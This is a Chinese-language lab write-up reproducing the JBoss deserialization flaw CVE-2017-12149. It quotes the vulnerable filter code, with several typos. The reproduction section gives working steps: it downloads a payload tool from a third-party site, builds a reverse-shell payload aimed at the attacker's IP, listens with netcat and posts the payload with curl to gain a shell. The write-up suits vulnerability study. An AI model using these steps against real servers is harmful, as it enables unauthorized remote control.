JBoss反序列化漏洞(CVE-2017-12149)复现
0x00:前言
JBoss 反序列化漏洞,该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致恶意访问者通过精心设计的序列化数据执行任意代码。但近期有安全研究者发现JBossAS 6.x也受该漏洞影响,恶意访问者利用该漏洞无需用户验证即可获得服务器的控制权。该漏洞的细节和验证代码已公开,为避免造成损失,建议及时修复升级至JBossAS 7版本
影响版本:
- Jboss AS 5.x
- JbossAS 6.x
Java序列化,简而言之就是把java对象转化为字节序列的过程。而反序列话则是再把字节序列恢复为java对象的过程,然而就在这一转一变得过程中,程序员的过滤不严格,就可以导致攻击者恶意构造的代码的实现。
举个简单的例子,jboss的反序列化漏洞出现在jboss\server\all\deploy\httpha-invoker.sar\invoker.war\WEB-INF\classes\org\jboss\invocation\http\servlet目录下的ReadOnlyAccessFilter.class文件中的doFilter中。
throw IOException,ServletException
{
HttpServletRequest httpRequest=(HttpServletRequest)request;
Principal user=httpRequest.getUserPrincipal();
if((user=null)&&(this.readOnlyContext!=null))
{
ServletInputStream sis=request.getInputStream();
ObjectInputStream ois=new ObjectInputStream(sis);
MarshalledInvocation mi=null;
try
{
mi=(MarshalledInvocation)ois.readObject();
}
catch(ClassNotFountException e)
{
throw new ServletException("Failed to read MarshalledInvocation",e);
}
request.serAttribute("MarshalledInvocation",mi);
mi.setMethodMap(this.namingMethodMap);
Method m=mi.getMethod();
if(m!=null){
validateAccess(m,mi)
}
}
chain.doFilter(request,response);
}
程序获取http数据保存到了httpRequest中,序列化后保存到了ois中,然后没有进行过滤操作,直接使用了readObject()进行了反序列化操作保存到了mi变量中,这其实就是一个典型的java反序列化漏洞。
0x01:环境搭建
1.安装jdk环境
2.安装JBoss
下载JBoss安装包 ,http://jbossas.jboss.org/downloads/ ,这里下载的版本是jboss-as-6.1.0-final
解压到目录下,将bin目录设置环境变量
cd到bin目录下,输入:
浏览器打开127.0.0.1:8080
0x02:漏洞复现
- 判断jboss指纹,响应头的x-Powered-By:
- 访问
,如果提示500,表示漏洞还是存在的。/invoker/readonly
- 下载利用工具JavaDeserH2HC.zip, http://scan.javasec.cn/java/JavaDeserH2HC.zip,下载后拷贝到kali下,解压后进入到该工具目录中。
- 在Kali终端上输入javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java回车
- 继续输入java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.1.8:8888(IP地址为Kali地址,端口为随机监听,只要不冲突就好,用来进行反弹shell)
- 在Kali下重新打开一个终端,输入nc -vv -lp 8888 进行8888端口的监听
回到上一个终端,输入 curl http://192.168.1.3:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser 回车,此时如果成功了会直接返回shell到nc。
- –data-binary的意思是使用curl命令向/invoker/readonly提交payload。
0x03:修复建议
建议升级到7.x版本或者不用该组件将其删除